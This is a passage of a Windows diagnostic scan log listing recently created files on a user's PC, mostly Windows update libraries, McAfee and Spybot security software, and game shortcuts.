2016-05-04 16:12 - 2016-05-04 16:12 - 00001467 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Spybot-S&D Start Center.lnk
2016-05-04 16:12 - 2016-05-04 16:12 - 00001455 _____ C:\Users\Public\Desktop\Spybot-S&D Start Center.lnk
2016-05-04 16:12 - 2016-05-04 16:12 - 00000000 ____D C:\WINDOWS\System32\Tasks\Safer-Networking
2016-05-04 16:12 - 2016-05-04 16:12 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Spybot - Search & Destroy 2
2016-05-04 16:12 - 2013-09-20 10:49 - 00021040 _____ (Safer Networking Limited) C:\WINDOWS\system32\sdnclean64.exe
2016-05-04 15:52 - 2016-05-04 15:54 - 12754672 _____ (Microsoft Corporation) C:\Users\nikki\Downloads\MP10Setup.exe
2016-05-02 02:44 - 2016-05-04 19:58 - 00004020 _____ C:\WINDOWS\System32\Tasks\Intel Security DAT Reputation (AMCore) periodic endpoint safety pulse
2016-05-01 23:04 - 2016-05-04 15:40 - 00004208 _____ C:\WINDOWS\System32\Tasks\Intel Security DAT Reputation (AMCore) Post DAT update endpoint safety pulse
2016-05-01 22:49 - 2016-05-01 22:49 - 00000222 _____ C:\Users\nikki\Desktop\Tree of Savior (English Ver.).url
2016-05-01 00:00 - 2016-05-01 00:00 - 00032006 _____ C:\Users\nikki\Desktop\Vegetable Varieties for North Cntrl TX.pdf
2016-04-28 18:57 - 2016-04-28 18:57 - 00000000 ____D C:\Users\nikki\OneDrive\Documents\My Games
2016-04-28 18:55 - 2016-04-28 18:55 - 00000000 ____D C:\Program Files (x86)\Microsoft XNA
2016-04-28 18:50 - 2016-04-28 18:50 - 00000222 _____ C:\Users\nikki\Desktop\Terraria.url
2016-04-28 18:34 - 2016-04-28 18:35 - 00000000 ____D C:\Users\nikki\Downloads\documents-export-2016-04-28
2016-04-28 18:31 - 2016-04-28 18:32 - 15604435 _____ C:\Users\nikki\Downloads\documents-export-2016-04-28.zip
2016-04-18 18:48 - 2016-04-18 18:48 - 00000214 _____ C:\WINDOWS\Tasks\CreateExplorerShellUnelevatedTask.job
2016-04-17 15:06 - 2016-04-17 15:06 - 08320264 _____ (McAfee, Inc.) C:\Users\nikki\Downloads\Setup_serial_gIIFQCgRZIjbwqG9MR7uqQ2_key(1).exe
2016-04-17 15:04 - 2016-04-17 15:04 - 00001996 _____ C:\Users\Public\Desktop\McAfee LiveSafe.lnk
2016-04-17 15:04 - 2016-04-17 15:04 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\McAfee
2016-04-17 15:03 - 2015-05-19 13:59 - 00207208 _____ (McAfee, Inc.) C:\WINDOWS\system32\Drivers\HipShieldK.sys
2016-04-17 15:02 - 2016-04-17 15:02 - 00003138 _____ C:\WINDOWS\System32\Tasks\McAfeeLogon
2016-04-17 15:02 - 2016-04-17 15:02 - 00000000 ____D C:\ProgramData\Intel Security
2016-04-17 15:00 - 2016-04-17 15:00 - 00000000 ____D C:\Program Files\McAfee.com
2016-04-17 14:59 - 2016-05-04 16:28 - 00000000 ____D C:\Program Files\Common Files\AV
2016-04-17 14:59 - 2016-04-17 15:04 - 00000000 ____D C:\Program Files (x86)\McAfee
2016-04-17 14:59 - 2016-04-17 14:59 - 00000000 ____D C:\Program Files\Common Files\Intel Security
2016-04-17 14:55 - 2016-04-13 18:45 - 00453280 ____N (Microsoft Corporation) C:\WINDOWS\system32\MpSigStub.exe
2016-04-17 14:54 - 2016-04-17 15:03 - 00000000 ____D C:\Program Files\Common Files\McAfee
2016-04-17 14:54 - 2016-01-25 16:29 - 00279488 _____ (McAfee, Inc.) C:\WINDOWS\system32\mfevtps.exe
2016-04-17 14:42 - 2016-04-17 14:43 - 08320264 _____ (McAfee, Inc.) C:\Users\nikki\Downloads\Setup_serial_gIIFQCgRZIjbwqG9MR7uqQ2_key.exe
2016-04-15 06:07 - 2016-04-15 06:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\McAfee Security Scan Plus
2016-04-15 06:07 - 2016-04-15 06:07 - 00000000 ____D C:\Program Files\McAfee Security Scan
2016-04-12 22:05 - 2016-03-29 05:20 - 07474016 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntoskrnl.exe
2016-04-12 22:05 - 2016-03-29 05:20 - 02656952 _____ C:\WINDOWS\system32\CoreUIComponents.dll
2016-04-12 22:05 - 2016-03-29 05:18 - 02152280 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ntfs.sys
2016-04-12 22:05 - 2016-03-29 04:37 - 01862008 _____ C:\WINDOWS\SysWOW64\CoreUIComponents.dll
2016-04-12 22:05 - 2016-03-29 03:41 - 00630632 _____ (Microsoft Corporation) C:\WINDOWS\system32\fontdrvhost.exe
2016-04-12 22:05 - 2016-03-29 03:06 - 00045568 _____ (Adobe Systems) C:\WINDOWS\system32\atmlib.dll
2016-04-12 22:05 - 2016-03-29 03:01 - 00541304 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fontdrvhost.exe
2016-04-12 22:05 - 2016-03-29 02:58 - 00069632 _____ (Microsoft Corporation) C:\WINDOWS\system32\wininetlui.dll
2016-04-12 22:05 - 2016-03-29 02:58 - 00052224 _____ (Microsoft Corporation) C:\WINDOWS\system32\jsproxy.dll
2016-04-12 22:05 - 2016-03-29 02:46 - 00365568 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\atmfd.dll
2016-04-12 22:05 - 2016-03-29 02:36 - 00209408 _____ (Microsoft Corporation) C:\WINDOWS\system32\storewuauth.dll
2016-04-12 22:05 - 2016-03-29 02:19 - 00037376 _____ (Adobe Systems) C:\WINDOWS\SysWOW64\atmlib.dll
2016-04-12 22:05 - 2016-03-29 02:15 - 00970752 _____ (Microsoft Corporation) C:\WINDOWS\system32\kerberos.dll
2016-04-12 22:05 - 2016-03-29 02:12 - 00065536 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wininetlui.dll
2016-04-12 22:05 - 2016-03-29 02:12 - 00045568 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jsproxy.dll
2016-04-12 22:05 - 2016-03-29 02:07 - 01213440 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwansvc.dll
2016-04-12 22:05 - 2016-03-29 02:02 - 00303104 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\atmfd.dll
2016-04-12 22:05 - 2016-03-29 01:42 - 03592704 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kfull.sys
2016-04-12 22:05 - 2016-03-29 01:37 - 00792064 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\kerberos.dll
2016-04-12 22:05 - 2016-03-29 01:32 - 01731584 _____ (Microsoft Corporation) C:\WINDOWS\system32\urlmon.dll
2016-04-12 22:05 - 2016-03-29 01:31 - 02275328 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuaueng.dll
2016-04-12 22:05 - 2016-03-29 01:26 - 02755584 _____ (Microsoft Corporation) C:\WINDOWS\system32\wininet.dll
2016-04-12 22:05 - 2016-03-29 01:05 - 01500672 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\urlmon.dll
2016-04-12 22:05 - 2016-03-29 01:05 - 01388032 _____ (Microsoft Corporation) C:\WINDOWS\system32\lsasrv.dll
2016-04-12 22:05 - 2016-03-29 01:02 - 02229760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wininet.dll
2016-04-12 22:05 - 2016-03-29 00:51 - 22378496 _____ (Microsoft Corporation) C:\WINDOWS\system32\edgehtml.dll
2016-04-12 22:05 - 2016-03-29 00:41 - 24602112 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.dll
2016-04-12 22:05 - 2016-03-29 00:41 - 12125184 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieframe.dll
2016-04-12 22:05 - 2016-03-29 00:39 - 13382656 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieframe.dll
2016-04-12 22:05 - 2016-03-29 00:38 - 18673664 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\edgehtml.dll
2016-04-12 22:05 - 2016-03-29 00:37 - 19340800 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.dll
2016-04-12 22:04 - 2016-04-01 23:13 - 00369912 _____ (Microsoft Corporation) C:\WINDOWS\system32\audiodg.exe
2016-04-12 22:04 - 2016-04-01 23:10 - 00730344 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Internal.Shell.Broker.dll
2016-04-12 22:04 - 2016-04-01 22:26 - 00630272 _____ (Microsoft Corporation) C:\WINDOWS\system32\PhoneProviders.dll
2016-04-12 22:04 - 2016-04-01 22:21 - 00498688 _____ (Microsoft Corporation) C:\WINDOWS\system32\tileobjserver.dll
2016-04-12 22:04 - 2016-04-01 22:19 - 01054208 _____ (Microsoft Corporation) C:\WINDOWS\system32\audiosrv.dll
2016-04-12 22:04 - 2016-04-01 22:18 - 00988160 _____ (Microsoft Corporation) C:\WINDOWS\system32\SharedStartModel.dll
2016-04-12 22:04 - 2016-04-01 22:15 - 01090048 _____ (Microsoft Corporation) C:\WINDOWS\system32\RDXService.dll
2016-04-12 22:04 - 2016-04-01 22:14 - 03994624 _____ (Microsoft Corporation) C:\WINDOWS\system32\SettingsHandlers_nt.dll
2016-04-12 22:04 - 2016-04-01 22:09 - 01832448 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentExtensions.dll
2016-04-12 22:04 - 2016-04-01 22:07 - 03575296 _____ (Microsoft Corporation) C:\WINDOWS\system32\SystemSettingsThresholdAdminFlowUI.dll
2016-04-12 22:04 - 2016-04-01 22:07 - 02158592 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentServer.dll
2016-04-12 22:04 - 2016-04-01 22:00 - 01390080 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Shell.dll
2016-04-12 22:04 - 2016-03-29 05:22 - 01030416 _____ (Microsoft Corporation) C:\WINDOWS\system32\winresume.efi
2016-04-12 22:04 - 2016-03-29 05:22 - 00874968 _____ (Microsoft Corporation) C:\WINDOWS\system32\winresume.exe
2016-04-12 22:04 - 2016-03-29 05:20 - 01317640 _____ (Microsoft Corporation) C:\WINDOWS\system32\winload.efi
2016-04-12 22:04 - 2016-03-29 05:20 - 01141504 _____ (Microsoft Corporation) C:\WINDOWS\system32\winload.exe
2016-04-12 22:04 - 2016-03-29 05:02 - 00989536 _____ (Microsoft Corporation) C:\WINDOWS\system32\SecConfig.efi
2016-04-12 22:04 - 2016-03-29 04:56 - 01297752 _____ (Microsoft Corporation) C:\WINDOWS\system32\LicenseManager.dll
2016-04-12 22:04 - 2016-03-29 04:28 - 00696664 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupEngine.dll
2016-04-12 22:04 - 2016-03-29 04:17 - 00300104 _____ (Microsoft Corporation) C:\WINDOWS\system32\LockAppHost.exe
2016-04-12 22:04 - 2016-03-29 04:13 - 00986976 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\LicenseManager.dll
2016-04-12 22:04 - 2016-03-29 04:11 - 00605440 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\cng.sys
2016-04-12 22:04 - 2016-03-29 04:08 - 00358752 _____ (Microsoft Corporation) C:\WINDOWS\system32\msv1_0.dll
2016-04-12 22:04 - 2016-03-29 03:44 - 00502104 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupEngine.dll
2016-04-12 22:04 - 2016-03-29 03:32 - 00253088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\LockAppHost.exe
2016-04-12 22:04 - 2016-03-29 03:26 - 02403680 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tcpip.sys
2016-04-12 22:04 - 2016-03-29 03:26 - 01089888 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\http.sys
2016-04-12 22:04 - 2016-03-29 03:24 - 00294752 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msv1_0.dll
2016-04-12 22:04 - 2016-03-29 03:02 - 00118272 _____ (Microsoft Corporation) C:\WINDOWS\system32\fontsub.dll
2016-04-12 22:04 - 2016-03-29 02:51 - 00181248 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rfcomm.sys
2016-04-12 22:04 - 2016-03-29 02:42 - 00269824 _____ (Microsoft Corporation) C:\WINDOWS\system32\moshostcore.dll
2016-04-12 22:04 - 2016-03-29 02:39 - 00550912 _____ (Microsoft Corporation) C:\WINDOWS\system32\StoreAgent.dll
2016-04-12 22:04 - 2016-03-29 02:38 - 00207360 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupSvc.dll
2016-04-12 22:04 - 2016-03-29 02:37 - 00617984 _____ (Microsoft Corporation) C:\WINDOWS\system32\StorSvc.dll
2016-04-12 22:04 - 2016-03-29 02:34 - 00641536 _____ (Microsoft Corporation) C:\WINDOWS\system32\enterprisecsps.dll
2016-04-12 22:04 - 2016-03-29 02:28 - 00460288 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapConfiguration.dll
2016-04-12 22:04 - 2016-03-29 02:27 - 00339968 _____ (Microsoft Corporation) C:\WINDOWS\system32\SensorService.dll
2016-04-12 22:04 - 2016-03-29 02:26 - 00169472 _____ (Microsoft Corporation) C:\WINDOWS\system32\mdmmigrator.dll
2016-04-12 22:04 - 2016-03-29 02:23 - 00628736 _____ (Microsoft Corporation) C:\WINDOWS\system32\MessagingDataModel2.dll
2016-04-12 22:04 - 2016-03-29 02:23 - 00324608 _____ (Microsoft Corporation) C:\WINDOWS\system32\RDXTaskFactory.dll
2016-04-12 22:04 - 2016-03-29 02:22 - 00438784 _____ (Microsoft Corporation) C:\WINDOWS\system32\AccountsRt.dll
2016-04-12 22:04 - 2016-03-29 02:20 - 00948736 _____ (Microsoft Corporation) C:\WINDOWS\system32\XblAuthManager.dll
2016-04-12 22:04 - 2016-03-29 02:19 - 00556032 _____ (Microsoft Corporation) C:\WINDOWS\system32\PsmServiceExtHost.dll
2016-04-12 22:04 - 2016-03-29 02:17 - 01056256 _____ (Microsoft Corporation) C:\WINDOWS\system32\JpMapControl.dll
2016-04-12 22:04 - 2016-03-29 02:17 - 00440320 _____ (Microsoft Corporation) C:\WINDOWS\system32\CredProvDataModel.dll
2016-04-12 22:04 - 2016-03-29 02:16 - 00852480 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapsStore.dll
2016-04-12 22:04 - 2016-03-29 02:16 - 00093696 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fontsub.dll
2016-04-12 22:04 - 2016-03-29 02:15 - 01714688 _____ (Microsoft Corporation) C:\WINDOWS\system32\SRHInproc.dll
2016-04-12 22:04 - 2016-03-29 02:14 - 00965632 _____ (Microsoft Corporation) C:\WINDOWS\system32\SRH.dll
2016-04-12 22:04 - 2016-03-29 02:14 - 00954368 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\bthport.sys
2016-04-12 22:04 - 2016-03-29 02:14 - 00859136 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.ApplicationModel.Store.dll
2016-04-12 22:04 - 2016-03-29 02:13 - 00587776 _____ (Microsoft Corporation) C:\WINDOWS\system32\bisrv.dll
2016-04-12 22:04 - 2016-03-29 02:12 - 00471552 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupShim.dll
2016-04-12 22:04 - 2016-03-29 02:11 - 00988160 _____ (Microsoft Corporation) C:\WINDOWS\system32\NMAA.dll
2016-04-12 22:04 - 2016-03-29 02:10 - 01388544 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kbase.sys
2016-04-12 22:04 - 2016-03-29 02:10 - 00938496 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapControlCore.dll
2016-04-12 22:04 - 2016-03-29 02:09 - 01239552 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Devices.Bluetooth.dll
2016-04-12 22:04 - 2016-03-29 02:07 - 01902592 _____ (Microsoft Corporation) C:\WINDOWS\system32\msxml3.dll
2016-04-12 22:04 - 2016-03-29 02:06 - 01575936 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.Speech.dll
2016-04-12 22:04 - 2016-03-29 02:06 - 00848896 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuapi.dll
2016-04-12 22:04 - 2016-03-29 02:05 - 01395712 _____ (Microsoft Corporation) C:\WINDOWS\system32\UIAutomationCore.dll
2016-04-12 22:04 - 2016-03-29 02:02 - 02624512 _____ (Microsoft Corporation) C:\WINDOWS\system32\InputService.dll
2016-04-12 22:04 - 2016-03-29 02:02 - 01211904 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Cred.dll
2016-04-12 22:04 - 2016-03-29 02:00 - 00345600 _____ (Microsoft Corporation) C:\WINDOWS\system32\TextInputFramework.dll
2016-04-12 22:04 - 2016-03-29 02:00 - 00175616 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Core.TextInput.dll
2016-04-12 22:04 - 2016-03-29 01:59 - 00108544 _____ (Microsoft Corporation) C:\WINDOWS\system32\InputLocaleManager.dll
2016-04-12 22:04 - 2016-03-29 01:56 - 00821760 _____ (Microsoft Corporation) C:\WINDOWS\system32\TokenBroker.dll
2016-04-12 22:04 - 2016-03-29 01:56 - 00415232 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\StoreAgent.dll
2016-04-12 22:04 - 2016-03-29 01:55 - 01052160 _____ (Microsoft Corporation) C:\WINDOWS\system32\MsSpellCheckingFacility.dll
2016-04-12 22:04 - 2016-03-29 01:48 - 00346624 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MapConfiguration.dll
2016-04-12 22:04 - 2016-03-29 01:44 - 00498176 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MessagingDataModel2.dll
2016-04-12 22:04 - 2016-03-29 01:43 - 00358400 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AccountsRt.dll
2016-04-12 22:04 - 2016-03-29 01:42 - 01410560 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Web.Http.dll
2016-04-12 22:04 - 2016-03-29 01:39 - 00350720 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CredProvDataModel.dll
2016-04-12 22:04 - 2016-03-29 01:38 - 00800768 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\JpMapControl.dll
2016-04-12 22:04 - 2016-03-29 01:37 - 01444352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SRHInproc.dll
2016-04-12 22:04 - 2016-03-29 01:37 - 00799744 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SRH.dll
2016-04-12 22:04 - 2016-03-29 01:36 - 00649728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.ApplicationModel.Store.dll
2016-04-12 22:04 - 2016-03-29 01:35 - 00354304 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupShim.dll
2016-04-12 22:04 - 2016-03-29 01:34 - 00711680 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MapControlCore.dll
2016-04-12 22:04 - 2016-03-29 01:34 - 00418304 _____ (Microsoft Corporation) C:\WINDOWS\system32\dmenrollengine.dll
2016-04-12 22:04 - 2016-03-29 01:32 - 01588224 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msxml3.dll
2016-04-12 22:04 - 2016-03-29 01:32 - 01098240 _____ (Microsoft Corporation) C:\WINDOWS\system32\dosvc.dll
2016-04-12 22:04 - 2016-03-29 01:32 - 00162816 _____ (Microsoft Corporation) C:\WINDOWS\system32\enrollmentapi.dll
2016-04-12 22:04 - 2016-03-29 01:31 - 01946112 _____ (Microsoft Corporation) C:\WINDOWS\system32\dwmcore.dll
2016-04-12 22:04 - 2016-03-29 01:30 - 01139712 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UIAutomationCore.dll
2016-04-12 22:04 - 2016-03-29 01:29 - 00555520 _____ (Microsoft Corporation) C:\WINDOWS\system32\SyncController.dll
2016-04-12 22:04 - 2016-03-29 01:29 - 00256000 _____ (Microsoft Corporation) C:\WINDOWS\system32\accountaccessor.dll
2016-04-12 22:04 - 2016-03-29 01:28 - 01944576 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InputService.dll
2016-04-12 22:04 - 2016-03-29 01:28 - 00764928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Cred.dll
2016-04-12 22:04 - 2016-03-29 01:27 - 00245760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TextInputFramework.dll
2016-04-12 22:04 - 2016-03-29 01:27 - 00133632 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Core.TextInput.dll
2016-04-12 22:04 - 2016-03-29 01:27 - 00083456 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InputLocaleManager.dll
2016-04-12 22:04 - 2016-03-29 01:19 - 02635776 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Logon.dll
2016-04-12 22:04 - 2016-03-29 01:17 - 00765952 _____ (Microsoft Corporation) C:\WINDOWS\system32\fveapi.dll
2016-04-12 22:04 - 2016-03-29 01:14 - 01072128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Web.Http.dll
2016-04-12 22:04 - 2016-03-29 01:10 - 03671040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msi.dll
2016-04-12 22:04 - 2016-03-29 01:05 - 07199232 _____ (Microsoft Corporation) C:\WINDOWS\system32\BingMaps.dll
2016-04-12 22:04 - 2016-03-29 01:05 - 01626624 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dwmcore.dll
2016-04-12 22:04 - 2016-03-29 01:05 - 00361472 _____ (Microsoft Corporation) C:\WINDOWS\system32\bdesvc.dll
2016-04-12 22:04 - 2016-03-29 01:04 - 00688640 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Networking.Connectivity.dll
2016-04-12 22:04 - 2016-03-29 01:01 - 13018624 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Xaml.dll
2016-04-12 22:04 - 2016-03-29 00:58 - 01799680 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Logon.dll
2016-04-12 22:04 - 2016-03-29 00:56 - 16985600 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Xaml.dll
2016-04-12 22:04 - 2016-03-29 00:52 - 11545600 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.dll
2016-04-12 22:04 - 2016-03-29 00:51 - 09918976 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\twinui.dll
2016-04-12 22:04 - 2016-03-29 00:49 - 05202944 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\BingMaps.dll
2016-04-12 22:04 - 2016-03-29 00:45 - 03078144 _____ (Microsoft Corporation) C:\WINDOWS\system32\esent.dll
2016-04-12 22:04 - 2016-03-29 00:43 - 03428864 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.dll
2016-04-12 22:04 - 2016-03-29 00:38 - 02798080 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.dll
2016-04-12 22:04 - 2016-03-29 00:36 - 02722816 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\esent.dll
2016-04-12 22:04 - 2016-03-29 00:27 - 07836160 _____ (Microsoft Corporation) C:\WINDOWS\system32\Chakra.dll
2016-04-12 22:04 - 2016-03-29 00:27 - 05662208 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Chakra.dll
2016-04-12 22:04 - 2016-03-29 00:26 - 00958976 _____ (Microsoft Corporation) C:\WINDOWS\system32\RemoteNaturalLanguage.dll
2016-04-12 22:04 - 2016-03-29 00:25 - 00712704 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\RemoteNaturalLanguage.dll
2016-04-12 22:03 - 2016-03-29 04:25 - 00258912 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ufx01000.sys
2016-04-12 22:03 - 2016-03-29 04:19 - 00296488 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\policymanager.dll
2016-04-12 22:03 - 2016-03-29 01:40 - 00787456 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Web.dll
2016-04-12 22:03 - 2016-03-29 01:22 - 00638464 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TokenBroker.dll
2016-04-12 20:39 - 2016-04-01 23:10 - 00770640 _____ (Microsoft Corporation) C:\WINDOWS\system32\iuilp.dll
2016-04-12 20:39 - 2016-04-01 23:10 - 00374008 _____ (Microsoft Corporation) C:\WINDOWS\system32\SystemSettingsAdminFlows.exe
2016-04-12 20:39 - 2016-04-01 22:30 - 00151040 _____ (Microsoft Corporation) C:\WINDOWS\system32\VEStoreEventHandlers.dll
2016-04-12 20:39 - 2016-04-01 22:29 - 00127488 _____ (Microsoft Corporation) C:\WINDOWS\system32\VEDataLayerHelpers.dll
2016-04-12 20:39 - 2016-04-01 22:29 - 00083968 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VEDataLayerHelpers.dll
2016-04-12 20:39 - 2016-04-01 22:25 - 00278528 _____ (Microsoft Corporation) C:\WINDOWS\system32\NotificationObjFactory.dll
2016-04-12 20:39 - 2016-04-01 22:25 - 00239104 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NotificationObjFactory.dll
2016-04-12 20:39 - 2016-04-01 22:23 - 00285696 _____ (Microsoft Corporation) C:\WINDOWS\system32\VEEventDispatcher.dll
2016-04-12 20:39 - 2016-04-01 22:23 - 00219648 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VEEventDispatcher.dll
2016-04-12 20:39 - 2016-04-01 22:08 - 02193408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\actxprxy.dll
2016-04-12 20:39 - 2016-04-01 22:03 - 04774912 _____ (Microsoft Corporation) C:\WINDOWS\system32\actxprxy.dll
2016-04-12 20:39 - 2016-03-29 05:23 - 00277856 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sdbus.sys
2016-04-12 20:39 - 2016-03-29 05:15 - 00100232 _____ (Microsoft Corporation) C:\WINDOWS\system32\omadmapi.dll
2016-04-12 20:39 - 2016-03-29 05:11 - 00686976 _____ (Microsoft Corporation) C:\WINDOWS\system32\dnsapi.dll
2016-04-12 20:39 - 2016-03-29 05:05 - 01152864 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndis.sys
2016-04-12 20:39 - 2016-03-29 05:02 - 00334736 _____ (Microsoft Corporation) C:\WINDOWS\system32\policymanager.dll
2016-04-12 20:39 - 2016-03-29 04:28 - 00535080 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dnsapi.dll
2016-04-12 20:39 - 2016-03-29 04:28 - 00115040 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupApi.dll
2016-04-12 20:39 - 2016-03-29 04:25 - 00058400 _____ (Microsoft Corporation) C:\WINDOWS\system32\SensorsNativeApi.dll
2016-04-12 20:39 - 2016-03-29 04:18 - 00185184 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dumpsd.sys
2016-04-12 20:39 - 2016-03-29 04:11 - 00074424 _____ (Microsoft Corporation) C:\WINDOWS\system32\easinvoker.exe
2016-04-12 20:39 - 2016-03-29 04:10 - 00110584 _____ (Microsoft Corporation) C:\WINDOWS\system32\srvcli.dll
2016-04-12 20:39 - 2016-03-29 04:09 - 00078040 _____ (Microsoft Corporation) C:\WINDOWS\system32\wkscli.dll
2016-04-12 20:39 - 2016-03-29 04:08 - 00261376 _____ (Microsoft Corporation) C:\WINDOWS\system32\LsaIso.exe
2016-04-12 20:39 - 2016-03-29 04:07 - 00081144 _____ (Microsoft Corporation) C:\WINDOWS\system32\netapi32.dll
2016-04-12 20:39 - 2016-03-29 03:44 - 00084832 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupApi.dll
2016-04-12 20:39 - 2016-03-29 03:41 - 00051128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SensorsNativeApi.dll
2016-04-12 20:39 - 2016-03-29 03:26 - 00073872 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\srvcli.dll
2016-04-12 20:39 - 2016-03-29 03:25 - 00056320 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wkscli.dll
2016-04-12 20:39 - 2016-03-29 03:23 - 00069744 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\netapi32.dll
2016-04-12 20:39 - 2016-03-29 03:21 - 00378208 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\USBXHCI.SYS
2016-04-12 20:39 - 2016-03-29 03:17 - 00089088 _____ (Microsoft Corporation) C:\WINDOWS\system32\MapsCSP.dll
2016-04-12 20:39 - 2016-03-29 03:16 - 00026112 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\xinputhid.sys
2016-04-12 20:39 - 2016-03-29 03:07 - 00092160 _____ (Microsoft Corporation) C:\WINDOWS\system32\SensorsNativeApi.V2.dll
2016-04-12 20:39 - 2016-03-29 03:07 - 00092160 _____ (Microsoft Corporation) C:\WINDOWS\system32\policymanagerprecheck.dll
2016-04-12 20:39 - 2016-03-29 03:07 - 00048128 _____ (Microsoft Corporation) C:\WINDOWS\system32\wups.dll
2016-04-12 20:39 - 2016-03-29 03:07 - 00034816 _____ (Microsoft Corporation) C:\WINDOWS\system32\dmenterprisediagnostics.dll
